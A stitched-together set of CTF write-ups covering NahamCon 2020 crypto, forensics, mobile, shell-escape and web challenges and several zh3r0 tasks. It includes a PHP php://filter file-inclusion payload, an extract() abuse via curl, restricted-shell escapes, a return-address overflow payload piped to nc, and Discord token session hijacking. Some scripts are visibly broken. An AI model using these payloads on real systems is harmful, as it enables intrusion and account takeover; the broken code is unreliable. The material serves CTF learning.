and we have the factors, now let's recycle the script from the last challenge now with the new parameters,also now we need to convert the plaintext to ascii encoded characters, we can use the function long_to_bytes from pycryptodome for that:
```python 3from Crypto.Util.number import inverse, long_to_bytes
p = 1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428207q = 1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428213e = 65537ct = 87760575554266991015431110922576261532159376718765701749513766666239189012106797683148334771446801021047078003121816710825033894805743112580942399985961509685534309879621205633997976721084983n = 3349683240683303752040100187123245076775802838668125325785318315004398778586538866210198083573169673444543518654385038484177110828274648967185831623610409867689938609495858551308025785883804091
phi = (p - 1) * (q - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(long_to_bytes(plain))```and by running the script we get the flag:
## Unvreakable VaseAh shoot, I dropped this data and now it's all squished and flat. Can you make any sense of this?
Download the file below.\[prompt.txt](assets//files//vase.txt)
**Post CTF Writeup**
**flag{does_this_even_count_as_cryptooo}**
**Solution:** We this challenge we are given a text file with the following content:
```zmxhz3tkb2vzx3roaxnfzxzlbl9jb3vudf9hc19jcnlwdg9vb30=```
this seems to be base64 encoding, but if you try to decode it from base64 to ascii you don't get much:```ÎlaÏ{dokóÇzèk.ßÏ.ån_co{îuÿas_crypv.oo}```
I didn't actually managed to solve this challenge by myself during the CTF thinking it is a combination between rail cipher and base64 but actually that is just a base64 encoding where all the upper cased letters were lowered, we can try going over all combination of lower case and upper case for all the characters in the string but it will take two to the power of the length of the string, which is 2 to the power of 52 at most and at least 2 to the power of 40 if we exclude numbers and symbol, which is still a lot.\But, we can do something else, base64 is using characters to represents the numbers from 0 to 63, if we'll encode one letter from base64 to binary we get a binary string of length 6 bits, but each ascii character take 8 bits to encode, so if we want to find the smallest ascii substring that decodes to a base64 string without padding we'll need to find a lowest common multiple (LCM) value, for those numbers the LCM is 24, and s0 every 24/8 = 3 ascii characters are encoded to 24/6 = 4 base64 characters without padding and if we will split our ciphertext to blocks of 4 characters and try every possible combination of upper case and lower case on every character in each block until we get a readable substring (preferably of the flag which very likely though not guaranteed) we'll need to try at most 2 to the power of 4 multiplied by the number of blocks for every block, in out case `(2 ** 4) * (52 / 4) = (2 ** 4) * 12` which is a lot less then what we had before, for that I wrote the following script which goes through every block in the ciphertext and tries all the possible combinations until the ascii strings decoded from the block are printable (in the range from space \x20 to tilde \x7e):
```python 3import base64from string import printable
cipher = list('zmxhz3tkb2vzx3roaxnfzxzlbl9jb3vudf9hc19jcnlwdg9vb30=')
for i in range(0,len(cipher),4): for j in range(2 ** 4): curr_byte = cipher[i:i+4].copy() string_index = int(i/4*3) for k in range(len(curr_byte)): if j % (2 ** (k + 1)) >= 2 ** k: curr_byte[k] = curr_byte[k].upper() new_cipher = cipher[:i] + curr_byte + cipher[i+4:] max_char = chr(max(base64.b64decode(''.join(new_cipher))[string_index: string_index+3])) min_char = chr(min(base64.b64decode(''.join(new_cipher))[string_index: string_index+3])) if min_char in printable and max_char in printable: cipher[i:i+4] = curr_byte break print(base64.b64decode(''.join(cipher)))```
and by running this script we get the flag:
**Resources:*** I used this writeup just to discover the cipher although it seems that he solved just it like me with a way better script: https://deut-erium.github.io/WriteUps/nahamconCTF/crypto/Unvreakable%20Vase/* Least common multiple: https://en.wikipedia.org/wiki/Least_common_multiple
## DecemberThis is my December...
Download the file below.\[source.py](assets//files//source.py) [ciphertext](assets//files//ciphertext)
**flag{this_is_all_i_need}**
**Solution:** With the challenge we get the following python 3 script:
```python 3#!/usr/bin/env python
from Crypto.Cipher import DES
with open('flag.txt', 'rb') as handle: flag = handle.read()
padding_size = len(flag) + (8 - ( len(flag) % 8 ))flag = flag.ljust(padding_size, b'\x00')
with open('key', 'rb') as handle: key = handle.read().strip()
iv = "13371337"des = DES.new(key, DES.MODE_OFB, iv)ct = des.encrypt(flag)
with open('ciphertext','wb') as handle: handle.write(ct)```
and the ciphertext:
```Ö¢oåÇ\"àT?^N?@]XõêiùÔ?1÷U?WETR^DˆžbÿÑ\*á?^V?AAVCç¤nÿÌ?Iô]RTLE[ZDÝ£yÉÃ?/ÍXl]RTWN7```
We can see from the script that it uses DES, DES (Data Encryption Standard) is a type of symmetric cipher that was used in the 80s and the 90s as the standard cipher replaced by AES in the following years, it was invented by IBM with the help of the NSA (yeah that NSA) and in the 90s people have discovered ways to crack the cipher in a matter of hours (22 hours and 15 minutes to be precise).\This cipher also has a lot of weaknesses, one of those are the existence of weak keys, decryption and encryption with this keys have the same effect and so encrypting some data twice with the same weak key is equivalent to decrypting the encryption and the ciphertext is equal to the original plaintext.
we can also notice that the cipher uses OFB mode of operation, in this mode the plaintext is split to blocks of 8 bytes and for each block of plaintext the mode encrypts the encryption of the previous block (in the case of the first block this mode encrypts IV) and xors the new encryption with the plaintext, in a visual representation:
and in a formal representation:
we can now notice the following attribute of using weak keys in this mode of operation:
in other words, for every block in an even position we get that the encryption with a weak key is equal to xorring IV with the plaintext, so the plaintext for block in an even position is equal to the ciphertext xorred with IV, let's try that on our ciphertext, we can do that using the following code:
```python 3from Crypto.Util.strxor import strxor
data = open("ciphertext",'rb').read()IV = "13371337"
print(strxor(data,(IV * len(data))[0:len(data)].encode("utf-8")))```and we get:
it worked!, now we know that our key is a weak key, we can find a list of weak keys to DES on google and bruteforce them until we get a complete text (there are less than 100 weak and semi-weak keys), I listed all the weak keys in the following file:
[weak DES keys](assets//files//keys)
and wrote this script to crack the ciphertext:
```python 3#!/usr/bin/env python
from Crypto.Cipher import DES
with open('ciphertext','rb') as handle: ct = handle.read()
with open('keys', 'r') as handle: keys = handle.read().replace("\n"," ").split() keys = [ bytes(bytearray.fromhex(key.strip())) for key in keys]
iv = "13371337"for key in keys: des = DES.new(key, DES.MODE_OFB, iv.encode('utf-8')) pt = des.decrypt(ct) if b'flag' in pt: print(pt) print(key)```
and we get the flag:
## RaspberryRaspberries are so tasty. I have to have more than just one!
Download the file below.\[prompt.txt](assets//files//raspberry.txt)
**flag{there_are_a_few_extra_berries_in_this_one}**
**Solution:**: With the challenge we are get a text file, the content of the text file is:
```n = 7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317e = 65537c = 5300731709583714451062905238531972160518525080858095184581839366680022995297863013911612079520115435945472004626222058696229239285358638047675780769773922795279074074633888720787195549544835291528116093909456225670152733191556650639553906195856979794273349598903501654956482056938935258794217285615471681```This is again an RSA cipher, if we try plugging the value of n to a factor database we get the following output:
this is a big amount of factors, this amount is actually okay as RSA is not limited to only 2 factors (but it is really bad practice to use a lot of factors), phi is actually the value of Euler's totient function for n, this value is the number of values smaller than n which don't have common factors with n, and this value is actually equal to multiplication of all the factors reduced by one each (the proof for that is actually very easy and logical), so for decrypting the message I used the following script which is the same as the previous script with a more general phi calculation:
```python 3from Crypto.Util.number import inverse, long_to_bytes
primes = ['2208664111', '2214452749', '2259012491', '2265830453', '2372942981', '2393757139', '2465499073', '2508863309', '2543358889', '2589229021', '2642723827', '2758626487', '2850808189', '2947867051', '2982067987', '3130932919', '3290718047', '3510442297', '3600488797', '3644712913', '3650456981', '3726115171', '3750978137', '3789130951', '3810149963', '3979951739', '4033877203', '4128271747', '4162800959', '4205130337', '4221911101', '4268160257']
e = 65537ct = 5300731709583714451062905238531972160518525080858095184581839366680022995297863013911612079520115435945472004626222058696229239285358638047675780769773922795279074074633888720787195549544835291528116093909456225670152733191556650639553906195856979794273349598903501654956482056938935258794217285615471681n = 7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317
phi = 1for p in primes: phi *= (int(p) - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(long_to_bytes(plain))```By running this script we get the flag:
**Resources:*** Euler's totient function: https://en.wikipedia.org/wiki/Euler%27s_totient_function
***
# Forensics
## MicrosooftWe have to use Microsoft Word at the office!? Oof...
Download the file below.\[microsooft.docx](assets//files//microsooft.docx)
**flag{oof_is_right_why_gfxdata_though}**
**Solution:** With the challenge we get a docx file, but if we try opening it with Microsoft Word or Libreoffice we get noting interesting:
so we need to inspect the file more, docx files are actually a bunch of xml files contained in a zip file, so if we open the file as a zip file we can look at the content without relying on a document editor:
after a brief inspection I found that there is a filed called foo.txt in the src directory in the zip file:
and the file contains our flag:
## Cow PieEw. Some cow left this for us. It's gross... but something doesn't seem right...
Download the file below.\[manure](assets//files//manure)
**flag{this_flag_says_mooo_what_say_you}**
**Solution:** run strings on manure and grep for the flag
***
# Mobile
## CandroidI think I can, I think I can!
Download the file below.\[candroid.apk](assets//files//candroid.apk)
**flag{4ndr0id_1s_3asy}**
**Solution:** With the challenge we get an apk file, as the previous challenge an apk file is actually a zip file, we can unzip the file and grep for the flag format to get the flag:
## Simple AppHere's a simple Android app. Can you get the flag?
Download the file below.\[candroid.apk](assets//files//simple-app.apk)
**flag{3asY_4ndr0id_r3vers1ng}**
**Solution:** same as previous challenge:
## Ends MeetAre you a true mobile hacker?
Download the file below.
**flag{rev3rsIng_ApKs_l1k3_A_Pr0}**
**Solution:** open the apk file in jadx-gui and get a base64 encoded url in the `MainActivity` and visit the page with useragent `volley/0`
***# Miscellaneous
## VortexWill you find the flag, or get lost in the vortex?
Connect here:\`nc jh2i.com 50017`
**flag{more_text_in_the_vortex}**
**Solution:** With the challenge we are given a server to connect to, if we try connecting we get...
...that...we can redirect the output of the server to a file and view the file, by doing so for a minute more or less and grepping for the flag format we get the flag:
## Fake fileWait... where is the flag?
Connect here:\`nc jh2i.com 50026`
**flag{we_should_have_been_worried_about_u2k_not_y2k}**
**Solution:** We are given a server to connect to with the challenge, when we connect to the server we seemingly have a shell:
seems that there are two files with the name '..' but using regular command like cat on the file won't work I eventually tried to use `grep -r .` to recursively grep the file in the directory, and we get the flag (or we could just get all the flags like this guy https://tildeho.me/leaking-all-flags-in-a-ctf/):
## AlkatrazWe are so restricted here in Alkatraz. Can you help us break out?
Connect here:\`nc jh2i.com 50024`
**flag{congrats_you_just_escaped_alkatraz}**
**Solution:** We are given again a server to connect to, it seems that we have a shell again and that the flag is in our working directory, but we can't use cat or grep to read it:
I eventually got to output the file content to stdout using printf as it is not restricted and using the following command `printf '%s' "$(<flag.txt)"` we get the flag:
## TrappedHelp! I'm trapped!
Connect here:\nc jh2i.com 50019
**flag{you_activated_my_trap_card}**
**Solution:** Trap command is catching every command except trap, set the trap to something else with `trap '<command>' debug`.like `trap 'cat flag.txt' debug` to get flag## AwkwardNo output..? Awk-o-taco.
Connect here:`nc jh2i.com 50025`
**flag{okay_well_this_is_even_more_awkward}**
**Solution:** use grep to find cat all files and grep only to flag format
```python 3import refrom pwn import *from string import printablehost, port = 'jh2i.com', 50025
s = remote(host,port)
name = "flag{"while True: for c in "_" + printable: command = """grep -ro "{}.*"\n """.format(name + c) s.send(command) response = s.recv() return_code = re.findall("[0-9]+",str(response))[0] if int(return_code) == 0: if c != '*' name += c print(name) break else: printf(name + "}") breaks.close()```
***# Scripting
## DinaHelp! I can't make any sense out of what Dina is saying, can you??
Connect with:`nc jh2i.com 50035`
**Post CTF Writeup**\**flag{dina_speaks_in_dna_and_you_do_too}**
**Disclaimer:** I'll start of with a quick disclaimer, even though I ended solving it using frequency analysis and some common sense, I don't think what I did was the intention of the author, and I used the mapping john showed three or four times to validate a character and escape rabbit holes, though I think it can be done without using it at all if you have time, and after validating the first few characters I could easily complete the rest myself.\oh and another thing, the script I wrote is really ugly but it works well, you can use an empty mapping and remove the question types and it will still work, and I strongly recommend trying this yourself.
**Solution:** With the challenge we are given an host and a port to connect to, when we connect the server sends a string which comprises only of A,C,G,T and waits for input, if we give some random input it will respond with another string like the previous:
It seems to be a DNA sequence and if you have basic knowledge in biology you'll know that DNA sequences are interpreted by the ribosomes to proteins, and every sequence of 3 nucleic acids in the DNA or equivalently every 3 letters in the DNA which is called a codon is interpreted to one amino acid in the protein, so we can trying using this type of encoding to get a strings consisting of the letters of each matching amino acid, but it will not work.\we can next try using binary notations for each nucleic acid and decode the binary to ascii characters but this will also not work, after a google search about DNA encoding to English I stumbled upon this writeup https://github.com/ChapeauR0uge/write-ups/tree/master/b00t2root/crypto/genetics where the author uses a mapping from codons to English in order to decode the string, but the mapping didn't seem to help, at this point in the CTF I stopped and moved on to other challenges.\After the CTF and during the debrief that john did I discovered that the last thing I tried was kinda right but the mapping was incorrect, so I tried to find the right mapping on the internet, but I couldn't find it, and so I resorted to the last thing I could think of, to use frequency analysis.
In every alphabet there are characters who appear more than others, for example the letter a appears more than z and e appears more than a, also if we look at all the printable symbols we will also see that the space symbol appears more than e or any other characters, we can also look at the frequency of one word or two words and so on and see the same trend.\We can use that to our advantage, so I started out by finding a list of frequencies for all the printable symbols (https://www.wired.com/2013/08/the-rarity-of-the-ampersand/) and then wrote a small script which connect to the server a number of times (I used 50) and count the occurrences of every codon in the string and in the end lists them in descending order of occurrences (you can see parts of it in the final script), also, in every session the script would try to guess the plaintext using the already mapped codons or the total number of occurrences of the each codons against the list of frequencies of symbols if it was not mapped, I used it to map codons to the space symbol and e, then map to a and t by looking at the ciphertexts and recognizing words (we can easily guess the mapping for a from a one-letter word and the mapping for t and h from a very frequent three letter-word), admittedly I used john script in the debrief to figure out that the first word in every ciphertext, which is a two-letter word without i, n or t, is a number and and colon (I though initially that it was yo or mr), by using letter frequency and word frequency and most importantly common sense I mapped around ten to fifteen codons to characters, but than I hit a roadblock, even though most of the encoded sentence is a readable string like "enter the string" the string in question is a combination of random letters, for example (actually taken from a run):
`send back yirkbmusswnqmhq as a string`
and for that no frequency analysis would have helped, so I turned to what I do best, bruteforcing everything I can.
At this point when I had around ten to fifteen characters mapped so sometimes when the sun and the moon align the random string would be comprised by only mapped letters, and more commonly but still rare enough I'll get that the string comprises only of mapped codons except one, and we can use the response of the server for this kind of strings to eliminate mappings or discover the actual mapping, and so I upped the number of retries of the script would do to 200, and added that in every session the script would try to recognize the question sent by the server and send back the matching string *upper-cased* (yeah that throw me off for a while), I then manually went through the output and tried to eliminate wrong mapping or to see if the script discovered any correct one (actually when I think of it I could have written a script which automatically does that):
```python 3import refrom pwn import remotefrom random import choice
# The predicted mapping of the codonsmapping = {"AAA":'y', "AAC":'q', "AAG":'k', "AAT":'', "ACA":'q', "ACC":'1', "ACG":'s', "ACT":'0', "AGA":'~', "AGC":'', "AGG":'=', "AGT":'j', "ATA":' ', "ATC":'', "ATG":'i', "ATT":'', "CAA":'', "CAC":'', "CAG":'', "CAT":'', "CCA":'b', "CCC":'', "CCG":'w', "CCT":'v', "CGA":'a', "CGC":'h', "CGG":'', "CGT":'', "CTA":'x', "CTC":'', "CTG":'u', "CTT":'z', "GAA":'', "GAC":'', "GAG":'4', "GAT":'.', "GCA":'3', "GCC":'', "GCG":'/', "GCT":':', "GGA":'o', "GGC":'e', "GGG":'', "GGT":'f', "GTA":'', "GTC":'', "GTG":'p', "GTT":'c', "TAA":'', "TAC":'', "TAG":'2', "TAT":'', "TCA":'r', "TCC":'m', "TCG":',', "TCT":'n', "TGA":'', "TGC":'l', "TGG":'', "TGT":'', "TTA":'<', "TTC":'t', "TTG":'d', "TTT":'g'}
# The type of questions dina asks and the position of the string in themquestion_types = {'send the string': 4, 'send the message': 5, 'send this back': 4, 'go ahead and send': 5, 'back to me': 2, 'enter this back': 7, 'please respond with': 4, 'respond with': 3, 'enter the string': 4, 'please send back': 4, 'send back': 3, }
def beautify_data(msg): return str(msg)[2:-3].replace("\\n","")
# frequency analysis stufffrequency = { a: 0 for a in mapping }letter_frequency = list(' etaoinsrhldcumfgpywb,.vk-\"_\'x)(;0j1q=2:z/*!?$35>\{\}49[]867\\+|&<%@#^`~.,')for i in range(len(letter_frequency)): if letter_frequency[i] in mapping.values(): letter_frequency[i] = choice(letter_frequency)letter_frequency = ''.join(letter_frequency)
host, port = 'jh2i.com', 50035for _ in range(200): s = remote(host,port) index = 0 while 1:
# Recieves until a message is sent ciphertext = '' try: while ciphertext == '': ciphertext = beautify_data(s.recv()) except EOFError: s.close() break # Checks if the flag is given if 'flag' in ciphertext: print(ciphertext) exit(0)
# Find the frequency of each codon for frequency analysis for i in range(0,len(ciphertext),3): frequency[ciphertext[i:i+3]] += 1 frequency = {k:frequency[k] for k in sorted(frequency, key= frequency.get, reverse=True)}
# The mapping letters from frequency analysis frequency_letters = [] # The whole plaintext plaintext = [] for i in range(0,len(ciphertext),3): # Checks if the mapping for the codon is known, if not predict a letter otherwise uses the mapping if mapping[ciphertext[i:i+3]] == '': plaintext.append(letter_frequency[list(frequency.keys()).index(ciphertext[i:i+3])]) frequency_letters.append((ciphertext[i:i+3],letter_frequency[list(frequency.keys()).index(ciphertext[i:i+3])])) else: plaintext.append(mapping[ciphertext[i:i+3]])
plaintext = ''.join(plaintext) if 'nope' in plaintext: break
print(ciphertext) print(plaintext) print(str(index) + ": " + str(frequency_letters))
response = 'random' for q in question_types.keys(): if q in plaintext: response = plaintext.split(" ")[question_types[q]] break
print(response) s.send(response.upper()) index += 1
print(frequency)```and oh boy did it worked, after a little more than an hour I succeeded in finding out a mapping for every used codon and get the flag:
actually the mapping is not spot-on for numbers but because the string only comprises of letters this is not that crucial.
## RottenIck, this salad doesn't taste too good!
Connect with:\`nc jh2i.com 50034`
**flag{now_you_know_your_caesars}**
**Solution:** server response is ceaser cipher encrypted, code:
```python 3from pwn import remoteimport reimport rehost, port = 'jh2i.com', 50034s = remote(host,port)flag = [''] * 32for _ in range(200): question = s.recv() answer = list(str(question)[2:-3]) for i in range(27): for j in range(len(answer)): if ord(answer[j]) >= ord('a') and ord(answer[j]) <= ord('z'): answer[j] = chr((ord(answer[j]) - ord('a') + 1) % ( ord('z') - ord('a') + 1) + ord('a')) plain = ''.join(answer) if 'send back' in plain: break position = re.findall("[0-9]+",plain) if len(position) > 0: flag[int(position[0])] = plain[-2] empty = [i for i in range(len(flag)) if flag[i] == ''] print(''.join(flag), end='\r\n') s.send(plain)s.close()```
## Really powerful GnomesOnly YOU can save the village!
Connect with:`nc jh2i.com 50031`
**flag{it_was_in_fact_you_that_was_really_powerful}**
**Solution:** Automate going on adventure and buying weapons:
```python 3from pwn import *import reprices = [1000,2000,10000,100000,10000]gold = 0def beautify_data(msg): return str(msg)[2:-1].replace("\\n","\n")host, port = 'jh2i.com', 50031s = remote(host,port)for i in range(5): response = beautify_data(s.recv()) if "flag" in response: print(re.findall("flag{.*?}",response)[0]) exit(0) s.send("6\n{}\n".format(i + 1)) while int(gold) < prices[i]: response = beautify_data(s.recv()) if "flag" in response: print(re.findall("flag{.*?}",response)[0]) exit(0) gold = re.findall("[0-9]+",response)[1] print("gold: " + gold) s.send("{}\n".format(5 - i))s.send("1\n")if "flag" in response: print(re.findall("flag{.*?}",response)[0])s.interactive()s.close()```
***
# Web
## Agent 95They've given you a number, and taken away your name~
Connect here:\http://jh2i.com:50000
**flag{user_agents_undercover}**
**Solution:** Change User agent to Windows 95
## LocalghostBooOooOooOOoo! This spooOoOooky client-side cooOoOode sure is scary! What spoOoOoOoky secrets does he have in stooOoOoOore??
Connect here:\http://jh2i.com:50003
**JCTF{spoooooky_ghosts_in_storage}**
**Solution:** In JavaScript code for jquerty.jscroll2 after beautifying, flag variable contains flag in bytes
## PhphonebookRing ring! Need to look up a number? This phonebook has got you covered! But you will only get a flag if it is an emergency!
Connect here:\http://jh2i.com:50002
**flag{phon3_numb3r_3xtr4ct3d}**
**Solution:** With the challenge we are given a website with the following index page:
so the site tells us that the php source for the page accepts parameters...oooh we might have LFI (local file inclusion), php allows the inclusion of files from the server as parameters in order to extend the functionality of the script or to use code from other files, but if the script is not sanitizing the input as needed (filtering out sensitive files) an attacker can include any arbitrary file on the web server or at least use what's not filtered to his advantage, php scripts stay in the server-side and should not be revealed to the client-side as it may contain sensitive data (and there is no use to it in the client-side), if we want to leak the php files we'll need to encode or encrypt the data as the LFI vulnerable php code will read the file as code and execute it, we can do such things using the php://filter wrapper, using this wrapper in the following way will leak the php source code for index page:
`http://jh2i.com:50002/index.php?file=php://filter/convert.base64-encode/resource=index.php`
and by going to this url we get the file base64 encoded:
```PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KICA8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICAgIDx0aXRsZT5QaHBob25lYm9vazwvdGl0bGU+CiAgICA8bGluayBocmVmPSJtYWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ij4KICA8L2hlYWQ+CiAgPGJvZHk+Cgk8P3BocAoJCSRmaWxlPSRfR0VUWydmaWxlJ107CgkJaWYoIWlzc2V0KCRmaWxlKSkKCQl7CgkJCWVjaG8gIlNvcnJ5ISBZb3UgYXJlIGluIC9pbmRleC5waHAvP2ZpbGU9IjsKCQl9IGVsc2UKCQl7CgkJCWluY2x1ZGUoc3RyX3JlcGxhY2UoJy5waHAnLCcnLCRfR0VUWydmaWxlJ10pLiIucGhwIik7CgkJCWRpZSgpOwoJCX0KCT8+CgkgIAk8cD5UaGUgcGhvbmVib29rIGlzIGxvY2F0ZWQgYXQgPGNvZGU+cGhwaG9uZWJvb2sucGhwPC9jb2RlPjwvcD4KCjxkaXYgc3R5bGU9InBvc2l0aW9uOmZpeGVkOyBib3R0b206MSU7IGxlZnQ6MSU7Ij4KPGJyPjxicj48YnI+PGJyPgo8Yj4gTk9UIENIQUxMRU5HRSBSRUxBVEVEOjwvYj48YnI+VEhBTksgWU9VIHRvIElOVElHUklUSSBmb3Igc3VwcG9ydGluZyBOYWhhbUNvbiBhbmQgTmFoYW1Db24gQ1RGIQo8cD4KPGltZyB3aWR0aD02MDBweCBzcmM9Imh0dHBzOi8vZDI0d3VxNm85NTFpMmcuY2xvdWRmcm9udC5uZXQvaW1nL2V2ZW50cy9pZC80NTcvNDU3NzQ4MTIxL2Fzc2V0cy9mN2RhMGQ3MThlYjc3YzgzZjVjYjYyMjFhMDZhMmY0NS5pbnRpLnBuZyI+CjwvcD4KPC9kaXY+CgogIDwvYm9keT4KIDwvaHRtbD4=```and decoding this from base64 gives us the code:
```php
<html lang="en"> <head> <meta charset="utf-8"> <title>Phphonebook</title> <link href="main.css" rel="stylesheet"> </head> <body> The phonebook is located at phphonebook.php
The phonebook is located at phphonebook.php
<div style="position:fixed; bottom:1%; left:1%;"> NOT CHALLENGE RELATED:THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!</div>
</body></html>```
we can now tell by this line `include(str_replace('.php','',$_GET['file']).".php");` that we only leak php files as the code removes the php extension from the file given as input (if there is one) and then appends a php extension to it, I think that there are ways to go around this but it is not important for this challenge, doing the same for phphonebook.php gives us this code:
```php
<html lang="en"> <head> <meta charset="utf-8"> <title>Phphonebook</title> <link href="main.css" rel="stylesheet"> </head>
<body class="bg"> <h1 id="header"> Welcome to the Phphonebook </h1>
<div id="im_container">
This phphonebook was made to look up all sorts of numbers! Have fun...
This phphonebook was made to look up all sorts of numbers! Have fun...
</div> <div> <form method="POST" action="#"> <label id="form_label">Enter number: </label> <input type="text" name="number"> <input type="submit" value="Submit"> </form> </div>
<div id="php_container"> </div>
<div style="position:fixed; bottom:1%; left:1%;"> NOT CHALLENGE RELATED:THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!</div>
</body></html>```by the end of the code there is a php segment where the method extract is used on $\_POST and then there is a check if $emergency is set, if so the code echoes the content of a file called flag.txt.\this is really interesting, I'll explain the gist of it mainly because I'm not so strong at php, the $_POST is the array of variables passed to the script when an HTTP POST request is sent to it (we commonly use 2 type of HTTP request, POST and GET, where GET asks from the server to return some resource for example the source for a page, and POST also sends variables to a file in the server in the request body), the extract method extracts the variables from the array, the extracted variable name is set to the name passed in the HTTP request and the value is set to the corresponding value, the isset method just checks if there is a variable with this name, by all this we can infer that we need to send a POST request to the server with a variable named emergency which has some arbitrary value in order to get the server to print the flag, we can do so using curl or using a proxy like burp suite like I will show first, we need to set burp suite as our proxy and send a post request to the server, we can do such that using the submit button in the phphonebook page:
burp suite catches the request and allows us to edit it:
we now only need to add an emergency variable and we get the flag:
with curl we can simply use the following command `curl -X POST --data "emergency=1" http://jh2i.com:50002/phphonebook.php` and by using that and grepping for the flag format we can easily get the flag:
**Resources:*** File Inclusion Vulnerabilities: https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/* HTTP request methods: https://www.w3schools.com/tags/ref_httpmethods.asp* Payload all the things - File Inclusion: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion |
Ok so first i tried going over the discord API and login with the token but that got me just `{"message": "401: Unauthorized", "code": 0}`
so what i found out later was...If you go on the discord website `discord.com` you should see `open discord in browser`. (if not, login to the site and logout)
Go to the `localStorage` and provide a new set with `token` and `"your token"`. After refreshing the page we are able to open discord in the browser and are logged in as the user/bot.
##Flagzh3r0{1et_7he_F0rce_8e_With_YoU} |
ok so looking at the site dosent really show much. There is a gif and nothing else.
In the `robots.txt` file we can find that there is a `elliot.html` file. Lets check this out.
The `alt` tag of the gif says `check my js` so lets do this and we get:
```(![]+[])[+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(+[![]]+[+(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]])])[+!+[]+[+[]]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]```
excecuting it we get `fsocietyislit`.A bit of googleing reveals its `JSFuck`
lets see what else we can find with dirb:`dirb http://web.zh3r0.ml:8005/ -z 100 -t -o dirb`*Note: -z 100 is used to get a ms timeout between tryes. Since the server respondet with 503 everytime*
ok `dirb` found a directory (`code`) and inside that we have a file `flag.php`
This file says: `Elliot need to submit hash here to get the flag.`
if we send a negativ hash we get `Dont try to mess with fsociety`
Dont seem to find anything useful so lets try to get them what they want.
If we send them the JSFuck keyword `fsocietyislit` hashed as md5 we get the flag!
## Flagzh3r0{ell1ot_y0u_4r3_1n} |
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-writeups</span></span></span><span>/</span><span><span>nahamcon-20</span></span><span>/</span>crypto<span>/</span> </div> </div>
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<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF-writeups</span></span></span><span>/</span><span><span>nahamcon-20</span></span><span>/</span>crypto<span>/</span></div>
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|
# Free Flag
Author: [roerohan](https://github.com/roerohan)
This is a simple buffer overflow challenge where you have to overwrite the return pointer.
# Requirements
- GDB- Knowledge of Function Stack, Return Pointer
# Source
- [chall](./chall)
# Exploitation
This is a classic buffer overflow challenge. The flag is in a file on the server, and a binary is given to you ([chall](./chall)). Fire up GDB, and check out the main function using `disas main`.
You see a function called `here`. We check it out using `disas here`.
In this you see a call to the `read` function. Also, when you do `info functions`, notice there is a function called `win_win`. Let's check that out.
So the `win_win` function has a has a call to `system`, looks like this is our target function. If we can run this somehow, we get the flag. So we try to overwrite the return pointer in the `here` function. You see that the size of the stack is `0x20` or `32`. We need to add 8 more bytes to overwrite the saved base pointer, making it 40. Then, the return pointer must be overwritten in little endian to the `win_win` function. Let's write the payload.
```bashpython2 -c "print('a'*(32+8) + '\x08\x07\x40\x00\x00\x00\x00\x00')"```
This can now be piped to the server to get the flag.
```bashpython2 -c "print('a'*40 + '\x08\x07\x40\x00\x00\x00\x00\x00')" | nc asia.pwn.zh3r0.ml 3456```
The flag is:
```zh3r0{welcome_to_zh3r0_ctf}``` |
## void
```bash$ file output.wavoutput.wav: RIFF (little-endian) data, WAVE audio, mono 48000 Hz```
Google `wav "mono 48000 Hz" "ctf"` and we find http://g4ngli0s.logdown.com/posts/1422073-bsidessfctf-for-latlong. The spectrum analysis on that page looks exactly like the one we see in Audacity. Copy the commands they used, adapted to the file names used in this challenge.
```bash$ sox -t wav output.wav -esigned-integer -b16 -r 22050 -t raw output.raw$ ./multimon-ng -t raw -a AFSK1200 output.raw```Or do everything in one command:```bash$ cat output.wav | sox -t raw -esigned-integer -b 16 -r 48000 - -esigned-integer -b 16 -r 22050 -t raw - | multimon-ng -t raw -a AFSK1200 -f alpha -
multimon-ng 1.1.8 (C) 1996/1997 by Tom Sailer HB9JNX/AE4WA (C) 2012-2019 by Elias OenalAvailable demodulators: POCSAG512 POCSAG1200 POCSAG2400 FLEX EAS UFSK1200 CLIPFSK FMSFSK AFSK1200 AFSK2400 AFSK2400_2 AFSK2400_3 HAPN4800 FSK9600 DTMF ZVEI1 ZVEI2 ZVEI3 DZVEI PZVEI EEA EIA CCIR MORSE_CW DUMPCSV X10 SCOPEEnabled demodulators: AFSK1200AFSK1200: fm WDPX01-0 to APRS-0 UI pid=F0!/;E'q/Sz'O /A=000000zh3r0{ax25_is_c00l__dm_me_the_solution}```
yielding the flag `zh3r0{ax25_is_c00l__dm_me_the_solution}` |
## fsociety
